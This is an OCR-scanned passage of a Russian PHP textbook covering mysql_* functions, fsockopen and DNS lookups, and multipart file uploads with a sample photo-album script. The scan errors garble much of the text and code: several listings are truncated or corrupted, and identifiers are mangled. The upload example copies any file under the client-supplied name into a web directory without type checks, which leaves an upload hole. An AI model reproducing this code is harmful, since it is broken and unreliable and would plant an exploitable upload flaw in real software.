Функция возвращает значение поля $ field в строке результата с номером $row. Параметр $ field может задавать не только имя поля, но и его номер — позицию, на которой столбец "стоял" при создании таблицы. Тем не менее, рекомендуется везде, где это только возможно, использовать именно имена полей.

Примечание

Если мы опять будем рассматривать результат как двумерный массив полей, то параметр $ field надо поставить в соответствие его Х-координате, а Srow — Y-координате. В этом понимании Х-координата чаще всего будет ассоциативной — т. е. в ней задается не число, а имя столбца.

Функция универсальна: с ее помощью можно "обойти" весь результат по одной ячейке. И хотя это не возбраняется, но делать, однако, не рекомендуется, т. к. mysql_result() работает довольно медленно. Лучше воспользоваться функциями, которые описываются дальше.

Получение целой строки результата

Разработчики MySQL предусмотрели другой, более быстрый, способ получения результата. Он чем-то похож на работу с файлами: появляется понятие текущей записи результата, и следующая операция считывания передвигает этот указатель на одну позицию вперед. Также можно установить указатель на любую указанную запись.

arraymysql_f etch_row ( int $result)

Функция возвращает массив-список со значениями полей очередной строки результата $result. Если указатель текущей позиции результата был установлен за последней записью (то есть строки кончились), возвращает false. Текущая позиция сдвигается к следующей записи, так что очередной вызов mysql_fetch_row ( ) вернет следующую строку результата.

Эту функцию чаще всего применяют в таком контексте:

$r=mysql_query ("select * trim OurTable where age<30");

while ($Row=mysql_fetch_row($r) ) (

// обрабатываем строку $Row

}

Каквидим,циклоборвется,кактолькострокизакончатся,т.е.когда

mysql_fetch_row() Вернет false.

Работать с числовыми индексами полей, как до сих пор предлагалось, согласитесь, не очень-то удобно. Гораздо предпочтительнее было бы использовать для адресации поля внутри результата его имя. Функция mysql_fetch__array () как раз и извлекает из результата очередную запись и помещает ее в ассоциативный массив.

array mysql fetch array(int Sresult)

Функция mysql_fetch_array() возвращает очередную строку результата в виде ассоциативного массива, где каждому полю сопоставлен элемент c ключом, совпадающим с именем поля. Дополнительно в массив записываются элементы с числовыми ключами и значениями, соответствующими величинам полей с этими индексами. В возвращаемом массиве они размещаются сразу за элементами с "обычными" ключами.

Примечание j

Может возникнуть вопрос: зачем вообще тут нужны числовые индексы. Ответ прост: дело в том, что в результате выборки в действительности могут присутствовать поля (фактически, колонки) с одинаковыми именами, но, соответственно, с различными индексами. Это происходит тогда, когда выборка в SELECT производится одновременно из нескольких таблиц (язык SQL это позволяет). Думаю, в простейших приложениях такое случается нечасто.

Рекомендую всегда вместо rnysql_fetch_row () использовать функцию mysql__fetch_array () , потому что она более универсальна и к тому же, как написано в документации, не намного медленнее.

int mysq; data seek(int $result, int $row_number)

Эта функция устанавливает указатель текущей строки в результате $result в ПОЗИЦИЮ $гом_пптЬег, Так ЧТО следующий ВЫЗОВ mysql_fetch_row( ) И mysql_fetch_array() вернет значения полей именно этой строки. Возвращает false в случае ошибки или если строки кончились.

Получение информации о результате

Будет полезно рассмотреть еще несколько функций, предназначенных для получения различной информации о результате запроса.

string mysql_field_name(int $result, int $field_index)

Функция mysql_field_name() возвращает имя поля, которое расположено в результате по смещению $field_index. В общем-то, применяется довольно реДКО, ЧТО связано С существованием фуНКЦИИ mysql_fetch_array( } .

£ Примечание

Итак, с помощью функции mysql_field_nameО мы можем "переводить" числовые Х-координаты в двумерном массиве результата в их ассоциативные эквиваленты.

string mysql_field_type(int $result, int $field_offset)

Эта функция похожа на mysql_field_name(), только возвращает не имя, а тип соответствующей колонки в результате. Им может быть, например, int, double И Т. Д.

int mysql_field_len(int $result, int $field_offset)

Функция возвращает длину поля в результате Sresult. Поле, как обычно, задается указанием его смещения. Под длиной здесь подразумевается не размер данных поля в байтах, а тот размер, который был указан при его создании. Например, если поле имеет тип varchar и было создано (вместе с таблицей) с типом varchar(100), то для него будет возвращено 100.

Примечание j

Описание подробностей выходит за рамки этой книги. За детальными разъяснениями вынужден отослать вас к какой-нибудь книге о языке запросов SQL.

string mysql_field_flags(int $result, int $field_offset)

Эта функция возвращает флаги, которые были использованы при создании указанного поля в таблице. Возвращаемая строка представляет собой набор слов, разделенных пробелами, так что вы можете преобразовать ее в массив при ПОМОЩИ функции explode :

$Flags=explode(" ",mysql_field_flags($r,$field_offset));

Флаги, которые поддерживаются MySQL в настоящий момент, перечислены в табл. 26.7.

Таблица 26.7. Флаги типов полей

Флаг

Описание

not_null

Поле обязательно должно быть проинициализировано при вставке очередной строки в таблицу

Primary key

Поле является первичным ключом — т. е. идентификатором строки, который будет использован для ссылок на нее

Unique_key

Поле должно быть уникальным

Multiple_key

По этому полю построен индекс

Blob

Поле может содержать бинарный блок данных, который никак не интерпретируется

Таблица 26.7 (окончание)

Флаг

Описание

Unsigned

Поле содержит беззнаковые числа

zerof ill

Использовать символы с нулевым кодом вместо пробелов

binary

Поле содержит бинарные данные

enum

Поле содержит элемент перечисления, т. е. только один элемент из нескольких возможных

auto_increment

Это поле автоматически нумеруется. Проставляется MySQLnpn добавлении новой записи так, чтобы в таблице никогда не образовывалось нескольких строк с одинаковым значением этого поля

timestamp

в поле динамически проставляется текущее время при добавлении или изменении записи

string mysql_field_table(int Sresult, int $field_offset)

Возвращает имя таблицы, из которой было извлечено поле со смещением $field_offsetв результате 5result. Как уже говорилось, результат запроса может быть получен из нескольких таблиц, так что вот вам средство для извлечения имени таблицы по номеру поля.

ПримериспользованияфункцийподдержкиMySQL

Ниже приводится пример комплексного использования описанных функций.

<?

// Соединяемся с сервером на локальной машине mysql_connect(”localhost”);

/ / Выбираем текущую базу данных

mysql_select_db("my_database");

// Получаем все данные таблицы

$result =* FROM tbl");

/ / Запрашиваем идентификатор данных о полях таблицы

Sfields = mysql—num_fields($result);

// Узнаем число записей в таблице

$rows = mysql_num_rows ($result) ;

// Получаемимятаблицы(правда,мыегоитакзнаем, новсеже...)

$table = mysql_field_table($result, 0);

echo "Таблица '$table' содержит $fields колонок и $rows строк<ВВ>";

echo "Таблица содержит следующие поля:<ВК>";

"Проходимся" по всем полям и выводим информацию о них $i++) {

$type =$i)

=

=$i)

$i)

echo

Уникальные идентификаторы в MySQL

Обычно в таблице содержится довольно много записей с разными значениями полей. Встает проблема выбора одной конкретной записи из этого массива. В рассмотренном нами примере таблицы с информацией о гражданах, пожалуй, запись можно однозначно идентифицировать по фамилии человека. Ну а если встретятся однофамильцы? Тогда по имени. А если же и имена совпадут? Ну, тогда...

Вы видите, насколько это все неудобно. Поэтому во избежание недоразумений подобного рода в таблицу вводят еще одно вспомогательное поле (колонку), назвав ее, скажем, Этот самый уникален у каждой записи, поэтому мы можем, зная id нужного нам человека, тут же получить его данные. Кроме того, если нам понадобится, например, зафиксировать в таблице еще и родственные связи людей (кто является чьим отцом, например), мы можем завести в ней еще одно поле —в котором будет хра

ниться id родителя конкретного человека. Таким образом, описанная техника оказывается довольно удобной.

Пусть теперь мы хотим добавить в таблицу сведения о еще одном человеке. Логично было бы, чтобы его id проставлялся автоматически. Возникает вопрос: как нам этот id вычислить? В самом деле, мы же не знаем, какие id в таблице в данный моментМожно использовать для этой цели

текущее время в секундах. Но вдруг именно в данную секунду кто-то еще точно так же добавляет в базу данных запись? Можно, конечно, взять максимальный id, прибавить к нему единичку и занести в таблицу. Но где гарантия, что, опять же в этот момент другой администратор не проделал ту же операцию — до того, как вы добавили свою информацию, но после того, как определили максимальный id?

Как раз для решения этой проблемы и предназначена MySQL возможность под названием AUTO_INCREMENT. А именно, при создании таблицы мы можем какое-нибудь ее поле (в нашем случае как раз id) объявить так:

intprimary key

Немного длинновато, но это стоит того! Теперь любая операция INSERT автоматически проставит у добавленной записи поле ИмяПоля так, чтобы оно было уникально во всей таблице — MySQL это гарантирует. В простейшем случае — просто увеличит на 1 некий внутренний счетчик, глобальный для всей таблицы, и занесет его новое значение в нужное поле записи. Причем гарантируется, что никакие проблемы с совместным доступом к таблице просто не могут возникнуть, как это произошло бы, используй мы "кустарные" способы.

Получить только что вставленный идентификатор можно при помощи ФУНКЦИИ mysql_insert_id() .

int mysql_insert_id([int $link_identifier])

Функция возвращает непосредственно перед ее вызовом сгенерированный идентификатор записи для автоинкрементного поля после выполнения команды insert. Вызывать ее разумно только сразу после выполнения инструкции insert, например, в таком контексте:

mysql_query("insert into Таблица(поле!, поле2) values ('aa',’bb')"); $id=mysql_insert_id() ;

Теперь к только что вставленной записи можно обратиться, используя идентификатор Sid:

$r=mysql_query("select * from Таблица where id=$id"); $Row=mysql_fetch_array($r);

Работа с таблицами

Вот и подходит к концу наш разговор о функциях поддержки MySQL в РНР. Мы познакомились с большинством функций, которые встроены в РНР для взаимодействия с этой СУБД. Мы erne вернемся к MySQL в части V книги.

Подводя черту, имеет смысл рассмотреть несколько функций, имеющих отношение к работе с таблицами в целом.

int mysql list_fields(string Sdbname, string Stblname [,int Slink])

Функция mysql_list_fields() возвращает информацию об указанной таблице Stblname в базе данных Sdbname, используя идентификатор соединения Slink, если он задан (в противном случае — последнее открытое соединение). Возвращаемое значение — идентификатор результата, который может быть проанализирован обычными средствами, либо при помощи функций mysql field_flags () , mysql_field_len() , mysql_field_name() И

mysql_field_type (). В случае ошибки возвращается -1, текст сообщения ошибки может быть получен обычным способом.

int mysql_list_tables(string $database [,int $link_identifier])

Функция возвращает идентификатор результата (одна колонка), в котором содержатся имена всех таблиц, присутствующих в базе данных. Для извлечения этих имен можно использовать функцию mysql_result о с номером колонки, равным 0.

Глава 27Сетевые функцииГлава 27Сетевые функции

Глава 27

Сетевые функции

Глава 27

Сетевые функции

Здесь я коротко рассмотрю некоторые сетевые функции, предоставляемые РНР. За более детальной информацией обращайтесь к сопроводительной документации.

Работа с сокетами

Помните, до этого мы обсуждали функцию fopen () и замечали, что ее можно использовать и для открытия сетевых соединений с файлами на других хостах в Сети. Однако функция fopen о позволяла работать лишь с содержимым файла, переданного по протоколу HTTP. Но ведь по HTTP, кроме "тела" документа, передаются также некоторые заголовки, посланные сервером. "Добраться" до них всех и позволяет функция fsockopen ().

int fsockopen(string $host, int $port [,int &$errno] [,string &$errstr])

Эта функция работает аналогично fopen 0, но только устанавливает сетевое соединение с указанным хостом $host и программой, закрепленной на нем за портом $port. Она возвращает файловый дескриптор, с которым затем могут быть выполнены обычные операции: fread о, fwrite(),fgets о, feof() и т. д. В случае ошибки, как обычно, возвращается false и, если заданы параметры- переменные $errno и $errstr, в них записываются соответственно номер ошибки (не равный нулю) и текст сообщения об ошибке. Если функция вернула false, но $errno тем не менее сбросилась в 0, это скорее всего означает, что произошла ошибка инициализации сокета. Например, такое может произойти, если в Windows не установлен требуемый протокол TCP/IP.

Функция fsockopen () поддерживает и так называемые сокеты домена Unix, которые представляют собой в этой системе специальные файлы, наподобие каналов. Для использования такого режима нужно установить $port в 0 и передать в $host имя файла сокета. Мы не будем останавливаться на этом режиме, т. к. он специфичен для ОС Unix.

По умолчанию сокет (соединение) открывается в режиме чтения и записи, используя блокирующий режим передачи. Вы можете переключить режим в неблокирующий, если вызовете функцию socket_set_blocking() (см. ниже).

В примере из листинга 27.1 мы "проэмулировали браузер, послав в порт 80 удаленного хоста HTTP-запрос GET и получив весь ответ вместе с заголовка-

ми. Мы используем функцию HtmlSpecialChars(), чтобы вывести HTML- код документа в текстовом формате.

| Листинг 27.1. "Эмуляция" браузера

<?

// Соединяемся с Web-сервером www.php.net

$fp = fsockopen("localhost", 80);

// Посылаем запрос главной страницы сервера

fputs($fp,"GET / HTTP/1.0\n\n");

// Теперь читаем по одной строке и выводим ответ

echo "<pre>";

while(!feof($fp))

echo HtmlSpecialChars(fgets($fp,1000)) ;

echo "</pre>";

// Отключаемся от сервера

fclose($fp);

Разумеется, никто не обязывает нас использовать именно 80-й порт. Даже наоборот: функция fsockopen() универсальна. Мы можем использовать ее и для подключения к telnet-порту, и к FTP — словом, для чего угодно.

int socket_set_blocking(int $sd, int $mode)

Эта функция устанавливает блокирующий или неблокирующий режим для соединения, открытого ранее при помощи fsockopen(). В режиме блокировки ($mode=true) функции чтения будут "засыпать", пока передача данных не завершится. Таким образом, если данных много, или же произошел какой-то "затор" в сети, ваша программа остановится и будет дожидаться выхода из функции чтения. В режиме запрета блокировки ($mode=false) функции наподобие fgets() будут сразу же возвращать управление в программу, даже если через соединение не было передано еще ни одного байта данных. Таким образом, считывается ровно столько информации, сколько доступно на данный момент. Определить, что данные кончились, можно с помощью функции feof ( ) ) как это было сделано в примере из листинга 27.1.

Функции для работы с DNS

Здесь мы рассмотрим несколько очень полезных функций для работы с DNS-серверами и IP-адресом.

Разрешение IP-адреса в доменное имя и наоборот

string gethostbyaddr (string $ip__address)

Функция возвращает доменное имя хоста, заданного своим IP-адресом.

В случае ошибки возвращается $ip_address.

Внимание

Функция не гарантирует, что полученное имя будет на самом деле соответствовать действительности. Она лишь опрашивает хост по адресу $ip_address и просит его сообщить свое имя. Владелец хоста, таким образом, может передать все, что ему заблагорассудится. Как обойти эту проблему, см. чуть ниже.

string gethostbyname(string $hostname)

Функция получает в параметрах доменное имя хоста и возвращает его IP- адрес. Если адрес определить не удалось, возвращает $hostname.

array gethostbynamel(string $hostname)

Эта функция очень похожа на предыдущую, но возвращает не один, а все IP-адреса хоста с именем $hostname. Как мы знаем, одному доменному имени может соответствовать сразу несколько IP-адресов, и в случае сильной загруженности серверов DNS-сервер сам выбирает, по какому IP-адресу перенаправить запрос. Он выбирает тот адрес, который использовался наиболее редко.

Обратите внимание на то, что в Интернете существует множество виртуальных хостов, которые имеют различные доменные имена, но один и тот же IP-адрес. Таким образом, если следующая последовательность команд для существующего хоста с IP-адресом $ip всегда печатает этот же адрес: $host=gethostbyaddr($ip);

echo gethostbyname($host);

то аналогичная последовательность для домена с DNS-именем $host, наоборот, может напечатать не то же имя, а другое:

$ip=gethostbyname($host);

echo gethostbyaddr($ip);

Корректный перевод IP-адреса

в доменное имя

Функция gethostbyaddr' () на первый взгляд проста и привлекательна, но с ней связан один нюанс, который до недавнего времени было принято игнорировать. Дело в том, что при поиске доменного имени машины по задан-

ному IP-адресу РНР обращается к хосту по этому адресу и запрашивает у него доменное имя. Если хостом владеет злоумышленник, он может перехватить эту операцию и возвратить вам все, что ему (а не вам) будет угодно!

Рассмотрим это на примере. Пусть вам надо определить доменное имя компьютера, расположенного по адресу 195.84.12.34. Давайте предположим, что эта машина принадлежит симпатичному хакеру, который настроил свой DNS-сервер так, чтобы он говорил: "Я являюсь хостом whitehouse.gov", если его об этом спросят по адресу 195.84.12.34. Так что, выполнив код:

echo gethostbyaddr("195.84.12.34") ;

мы получим вывод whilehouse.gov. Произошла подмена!

Как же нам быть? А вот как. Предположим, мы получили от хоста с некоторым IP-адресом информацию, что его "зовут" whitehouse.gov. Обратимся же к нему и получим его IP-адрес, а потом сравним, тот ли это адрес, который мы запрашивали вначале:

$ip="195.84.12.34";

$host=gethostbyaddr($ip);

// Если была ошибка, $host==$ip

if($host==$ip) die ("Неверный ip-адрес $ip!");

$check_ip=gethostbyname($host);

// Если была ошибка, $check_ip==$host

if ($check_ip==$host) die ("Неверное доменное имя $host!");

// Hy вот, теперь сверяем данные

it ($ip==$check_ip)

echo "По адресу $ip расположен хост $host";

else

echo "По адресу $ip расположен хост злоумышленника! ! !";

Длинно? Да. Но это еще, к сожалению, не все. Ведь у одного и ТОГО же доменного имени могут быть сразу несколько IP-адресов. Нас устроит, если хотя бы один из них совпадет с затребованным нами. Так что придется воспользоваться функцией gethostbynamel о и циклом перебора списка IP- адресов. Вот что у нас получится:

'! Листинг 27.2. Безопасная функция получения доменного имени

<?

// Аналог функции gethostbyaddr(), но всегда проверяет,

// не подменил ли злоумышленник по адресу $ip имя своего

// хоста на чужое. В последнем случае просто возвращает false.

function safe_gethostbyaddr($ip)

{ // Получаем предпола га емо е имя

$host=gethostbyaddr($ip);

// Адреса не существует? Не фатально — вернем то, что есть.

if ($host==$ip) return $host;

// Теперь спрашиваем $host, кто он такой.

$checkJ.ps=gethostbynamel($host);

// Есть ли среди адресов, которые он вернул, затребованный?

foreach($check_ips as $check_ip) (

// Если нашли, то $host достоверен — возвращаем его.

if($ip==$check_ip) return $host;

}

// Иначе, если ни один адрес не совпал, выходим return false;

// Теперь посмотрим, что из себя представляет наш адрес. . .

echo safe_gethostbyaddr("195.84.12.34");

?>

Вот теперь все будет работать корректно. Однако за все приходится платить: safe_gethostbyaddrо требует гораздо больших затрат времени, чем gethostbyaddr ( ) 9 потому что нам приходится дополнительно обращаться еще как минимум к одной машине. Если безопасность для вас важнее, чем какие-то пара секунд простоя, используйте safe_gethostbyaddr о .

ЧАСТЬ V.

ПРИЕМЫ

ПРОГРАММИРОВАНИЯ

HA PHP

Загрузка файлов на сервер

Иногда бывает просто необходимо позволить пользователю не только заполнить текстовые поля формы и установить соответствующие флажки и радиокнопки, но также и указать несколько файлов, которые будут впоследствии загружены с компьютера пользователя на сервер. Для этого в языке HTML и протоколе HTTP предусмотрены специальные средства.

£ Примечание j

Чтобы не применять двусмысленной терминологии, я буду использовать слово "закачать" для обозначения загрузки файла клиента на сервер, и термин "скачать" для иллюстрации обратного процесса (с сервера — клиенту). Я уже предчувствую, как будет недоволен, услышав об этом, редактор книги, и он в чем-то прав. Так что, уважаемый читатель, если вы читаете здесь эти рассуждения, — значит, я победил в споре, а если не читаете... Что ж, вы об этом и не догадаетесь.1

Мы уже рассматривали механизм, который применяется при закачке файлов, в главе 3. Вы, возможно, помните, что он выглядел не очень-то привле-

Русский язык, изначально обладающий гигантской свободой в выборе слова, постоянно развивается. То, что казалось неприемлемым вчера, сегодня становится нормой, и наоборот. Безусловно, у любого обратившего внимание на эти строки при прочтении слов "закачать" и "скачать" вряд ли возникнут ассоциации с бригадой мускулистых администраторов, придающих передаваемым по сети файлам необходимую кинетическую энергию для последующего перемещения под напором, или другие неверные мысли, несмотря на большое количество смысловых оттенков употребления этих слов (убаюкивать, вызвать головокружение, или же в понимании "подлого приема садовников, торговцев присадками (раскачивать деревце, не давая ему укоре-

Вообще говоря, о твердых правилах в условиях возрастающего слияния разговорных терминов и литературного языка говорить не приходится. В толковом словаре С. И. Ожегова и Н. дано пояснение идиоме "Закачаешься!" как выражения высокой оценки чего-либо. Редакторы вовсе не стремятся убивать живое изложение, и поэтому если вы, уважаемые читатели, также видите эти строки, значит было решено — "быть закачиваемому" (из примеров к статье "Закачать" толкового словаря живого великорусского языка В. И. Даля). — Ред.

кательно. На мой взгляд, закачка файлов и вообще работа с multipart- методом передачи формы — довольно нетривиальные задачи. Однако спешу обрадовать: в РНР все это давно реализовано и отлажено. Но обо всем по порядку.

Multipart-формы

Мы помним, что в большинстве случаев данные из формы в браузере, передающиеся методом GET или POST, приходят к нам в одинаковом формате: поле!=значение1&поле2=значение2&...

При этом все символы, отличные от "английских" букв и цифр (и еще некоторых) U R L- код ируются: заменяются на %хх, где хх — шестнадцатеричный код символа. Это сильно замедляет закачку больших файлов.

В принципе, multipart-формы призваны одним махом решить эту проблему. Нам нужно в соответствующем тэге <form> задать параметр:

enctype=multipart/form-data

После этого данные, полученные от нашей формы, будут разбиты на несколько блоков информации (по одному на каждый элемент формы). Каждый такой блок очень похож на обычную посылку "заголовки-данные" протокола HTTP:

Идентификатор_начала\п

Content-Disposition: form-data; пате="имя" [;другие параметры]\п

\п

значениеХп

Браузер автоматически формирует строку идентификатор_начала из расчета, чтобы она не встречалась ни в одном из передаваемых файлов (и ни в одном из других полей формы). Это означает, что сегодня идентификатор будет одним, а завтра, возможно, совсем другим.

Тэг выбора файла

Давайте просмотрим, какой тэг надо вставить в форму, чтобы в ней появился элемент управления загрузкой файла — текстовое поле с кнопкой Browse справа. Таким тэгом является разновидность <input>:

<input type=file пате=имя_элемента [з12е=размер_поля]>

Сценарию вместе с содержимым файла передается и некоторая другая информация, а именно:

размер файла;

имя файла в системе клиента;

тип файла.

Скоро мы узнаем, как извлечь эту информацию в программе на РНР.

Закачка файлов и безопасность

Возможно, вы обратили внимание на то, что у последнего приведенного тэга <input type=file> отсутствует атрибут value. To есть когда пользователь открывает страницу, он никогда не увидит в элементе закачки ничего, кроме пустой строки. Поначалу это кажется довольно неприятным ограничением: в самом деле, мы ведь можем задавать параметры по умолчанию для, скажем, текстового поля.

Давайте задумаемся, почему разработчики HTML пошли на такое исключение из общего правила. Наверное, вы слышали о возможностях DHTML (Dynamic HTML — Динамический HTML) и JavaScript. С их ПОМОЩЬЮ можно создавать интерактивные страницы, реагирующие на действия пользователя в реальном времени. Например, можно написать код на JavaScript, который запускается, когда пользователь нажимает какую-нибудь кнопку в форме на странице, или когда он вводит текст в одно из текстовых полей.

Применение DHTML не ограничивается упомянутыми возможностями. В частности, умелый программист, владеющий, к примеру, JavaScript, может создавать страницы, которые будут автоматически формировать и отсылать на сервер формы без ведома пользователя. В принципе, в этом нет никакого "криминала": ведь все данные, которые будут отосланы, сгенерированы этой же страницей.

Что же получится, если разрешить тэгу cinput type=file> иметь параметр по умолчанию? Предположим, пользователь хранит все свои пароли в "засекреченном" файле С:\passwords.txt. Тогда "пассворднэппер может написать на JavaScript и встроить в страницу программу, которая создает и отправляет на "свой" сервер форму незаметно для пользователя. При этом достаточно, чтобы в форме присутствовало единственное поле закачки файла с проставленным параметром value=C:\passwords .txt.

Естественный вывод: в случае, если бы параметр по умолчанию был разрешен для тэга закачки файла, то программист на JavaScript, "заманив" на свою страницу пользователя, мог бы иметь возможность скопировать любой файл с компьютера клиента.

Теперь вы понимаете, почему тэг <input type=file> не допускает использования атрибута value?..

Поддержка закачки в РНР

Так как РНР специально разрабатывался как язык для Web-приложений, то, естественно, он "умеет" работать как с привычными нам, так и с multipart- формами. Более того, он также поддерживает закачку файлов на сервер.

Простые имена полей закачки

Как я уже говорил, интерпретатору совершенно все равно, в каком формате приходят данные из формы. Он умеет их обрабатывать и "рассовывать" по переменным в любом формате. Однако данные одного специального поля формы — а именно, поля закачки — он интерпретирует особым образом. Пусть у нас есть multipart-форма, а в ней — поле закачки файла:

<form action="script.php" method=POST enctype==multipart/form-daca>

<input type=file name="MyFile">

<input type=submit>

</form>

После выбора в этом поле нужного файла и отправки формы (и загрузки на сервер того файла, который был указан) РНР определит, что нужно принять файл, и сохранит его во временном каталоге на сервере. Кроме того, в программе создадутся несколько переменных.

SMyFile — имя временного файла на машине сервера, который содержит данные, переданные пользователем. С этим файлом теперь можно вытворять все что угодно: удалять, копировать, переименовывать, снова удалять...

$MyFile_name — исходное имя файла, которое он имел до своей отправки на сервер.

$MyFile_size — размер закачанного файла в байтах.

□ $MyFile_type — тип загруженного файла, если браузер смог его определить. К примеру, image/gif, text/html И Т. Д.

Каквидим,префиксу всехсозданныхпеременныходинитотже-

MyFile_. Этот префикс состоит из имени элемента закачки в форме, к которому присоединен знак _.

Теперь мы можем, например, скопировать только что полученный файл на новое место, при помощи Copy ($MyFile, "uploaded.dat") или других средств, проверив предварительно, не слишком ли он велик, основываясь на значении переменной $MyFile_size.

Внимание

Настоятельно рекомендую использовать функцию копирования, а не переиме- нования/перемещения. Дело в том, что в некоторых операционных системах

временный каталог, в котором РНР хранит только что закачанные файлы, может находиться на другом носителе, и в результате операция переименования завершится с ошибкой. Хотя мы и оставили копию полученного файла во временном каталоге, можно не заботиться о его удалении в целях экономии места: РНР сделает это автоматически.

Если процесс окончится неуспешно, вы сможете определить это по отсутствию файла, имя которого задано в $MyFile, или же по отсутствию самой этой переменной в программе.

Пример: фотоальбом

Давайте напишем небольшой сценарий, представляющий собой простейший фотоальбом с возможностью добавления в Него новых фотографий.

| Листинг 28.1. Сценарийphoto.php: простейший фотоальбом

$ImgDir="img";// Каталог для хранения изображений

@mkdir($ImgDir,666) ; // Создаем, если его еще нет

// Проверяем, нажата ли кнопка добавления фотографии

if(@$doUpload) {

// Проверяем, принят ли файл

if(@file_exists($File)) {

// Все в порядке — добавляем файл в каталог с фотографиями // Используем то же имя, что и в системе пользователя

Copy ($File,"$ImgDir/".basename($File_name)) ;

}

)

// Теперь считываем в массив наш фотоальбом

$d=opendir ($ImgDir);// открываем каталог

$Photos=array () ;// изначально альбом пуст

// Перебираем все файлы

while ( ($e=readdir($d)) !==false) {

// Это изображение GIF, JPG или PNG?

if ( lereg ("A(. *) \\. (gif| jpglpng) $", $e, $P) ) continue;

// Если нет, переходим к следующему файлу,

// иначе обрабатываем этот

$path="$ImgDir/$e"; // адрес

$sz=Get!mageSize($path); // размер

$tm-filemtime(Spath) ;// время добавления

// Вставляем изображение в массив SPhotos

$Photos[Stm] =

' time

=>

filemtime(Spath), //

время добавления

'name

’ =>

$e,

//

имя файла

'url'

=>

$path,

//

его URI

'w'

=>

$sz[0],

//

ширина картинки

'h'

=>

$sz[l],

//

ее высота

'wh'

1 ;

=>

$sz[3]

//

"width=xxx height=yyy"

}

,/ 1\ЛК/Ч1>1

MdCx-

.ИВа T^r’liuLUB -

время ь секундах, когда была добавлена

// та или

иная фотография.

Сортируем массив: наиболее "свежие"

// фотографии располагаем ближе к его началу.

krsort(SPhotos);

// Данные для вывода готовы. Дело за малым — оформить страницу.

<body>

<form action-photo.php method=POST enctype=multipart/form-data>

<input type=file name=File><br>

cinput type=submit name=doUpload value="3aKa4aTb новую фотографию"> </form>

<?foreach(SPhotos as $n=>$Img) {?>

<img

src=<?=$Img['url'J?>

<?=SImg['wh'] ?>

а!Ь="Добавлена <?=date ("d.m.YH: 1: s", Slmg [ 'time' ]) ?>"

<?}?>

</body>

Конечно, этот сценарий далеко не идеален (например, он не поддерживает удаление фотографий из фотоальбома), но для иллюстрации заявленных возможностей, по-моему, вполне подходит. Для простоты я совместил две функции (администрирование альбома и его просмотр) в одной программе. В реальной жизни, конечно, за каждую из них должен отвечать отдельный сценарий (первый из них, наверное, будет требовать от пользователя прохождения авторизации, чтобы добавлять фотографии в альбом могли лишь привилегированные пользователи).

Примечание

Обратите внимание на то, как этот сценарий оформлен. В самом начале находится весь код на РНР, который, собственно, и работает с данными фотоальбома. В этом коде в принципе нет никаких указаний на то, как должна быть отформатирована страница. Его задача — просто сгенерировать данные. Наоборот, тот текст, который следует после закрывающей скобки ?>, содержит минимум кода на РНР. Его главная задача — оформить страницу так, чтобы она выглядела красиво. У меня нет никаких других стимулов, кроме как экономии типографской краски, чтобы не разнести данные блоки по разным файлам. Мы еще вернемся к такому подходу в одной из следующих глав.

Сложные имена полей

Как вы, наверное, помните, элементы формы могут иметь имена, выглядящие, как элементы массива: А[10],в г 1] [text] и т. д. До недавнего времени (в третьей версии РНР) это касалось только "обычных" полей, но не полей закачки файлов. К счастью, в РНР версии 4 все изменилось в лучшую сторону.

Давайте применим указанные возможности в следующем примере формы и определим, какие переменные создаст РНР при ее отправке на сервер.

<form action="script.php" method=POST enctype=multipart/fonn-data>

<ЬЗ>Выберите тип файлов в вашей системе:</h3>

Текстовый файл: <input type=file name="File[text]"><br>

Бинарный файл: <input type=file name="File[bin]"><br>

Картинка: <input type=file name="File[pic]"><br>

<input type=submit name=Go уа1ие=;"0тправить файлы">

</form>

После того как программа script.php примет данные из формы, РНР создаст для нее следующие переменные:

ассоциативный массив $File, ключи которого — text, bin и pic, а соответствующие значения — имена временных файлов на сервере, созданных РНР при загрузке;

П массив $File_name все с теми же ключами и значениями — именами файлов в системе пользователя;

массив $File_type с теми же ключами и значениями — типами соответствующих файлов;

П массив $File_size со значениями — размерами этих файлов.

Мы видим, информация об индексах в именах полей формы попала в ключи соответствующих массивов и сохранилась в них. Вы можете убедиться в том, что переменные действительно инициализированы, воспользовавшись вызовом функции Dump($GL0BALS) , код которой приведен в конце главы /7, и в полезности которой вы теперь можете убедиться на примере.

Внимание J

Еще раз напоминаю, что РНР версии 3 неправильно работает с подобными именами полей. Учитывайте это, если собираетесь использовать старый интерпретатор.

Проблемы со сложными именами

Но не все так восхитительно, как может показаться на первый взгляд. Беда в том. что описанный механизм работает замечательно, лишь когда мы задействуем элементы одномерных массивов в качестве имен полей формы. В случае же многомерных массивов дела обстоят несколько хуже. Правда, многомерные массивы используются при закачке значительно реже, но все равно, мой долг — предупредить вас и уберечь от возможного недоразумения.

Итак, напишем форму:

<form action="script.php" method=POST enctype=multipart/form-data>

<input type=file name="File [a] [b] ">

<input type=submit>

</form>

При приеме данных такой формы РНР "запутается" и, хотя и создаст массив $File, но не поместит в него никаких полезных данных. А именно, в моей версии 4.0.3pll в элемент с ключом а вместо имени файла попадает какое-то комплексное (судя по его странному виду) число.) Надеюсь, в будущих версиях интерпретатора это досадное недоразумение будет исправлено.

Но все же существует метод, с помощью которого мы сможем обработать и такие "неправильные" с точки зрения РНР формы. Я об этом еще не упоминал, но РНР, помимо установки вышеперечисленных переменных, создает также глобальный массив с именем $HTTP_POST_FILES. Как показывает практика, в этом массиве содержатся верные данные, какое бы имя не имело поле закачки в форме.

Замечаниеj

Массив $HTTP_POST_FILES создается не всегда, а только в том случае, если в настройках РНР задействован параметр track_vars. Так как, судя по документации, в РНР версии 4 он включен всегда (чего нельзя сказать о третьей версии), то беспокоиться не о чем.

Массив $HTTP_POST_FILES используется довольно редко, так что я предоставляю читателю возможность самостоятельно разобраться, в каком формате хранятся в нем данные. Это несложно. Вам не потребуется ничего, кроме функции Dump (), которая уже упоминалась в этой главе, и, конечно, желания экспериментировать.

Глава 29

Модульность программы.

Написание"библиотекаря"

Во всех серьезных языках программирования имеется возможность писать модульные программы. Иными словами, при определенных навыках вы можете разбить свою программу на относительно независимые части, каждую из которых реализовать в виде модуля. Особенно это бывает полезно, если над программой работает сразу коллектив разработчиков (как чаще всего и бывает) — в этом случае остается лишь продумать связи между модулями, написание которых можно поручить разным программистам.

Модули обычно также используют другие модули в своей работе, те — третьи, и т. д., до самого низкого уровня. Хорошо написанный модуль подобен новому автомобилю: его интерфейсные функции — это аналог руля и педаль, а уж что там под капотом — программиста, подключающего модуль, волновать не должно.

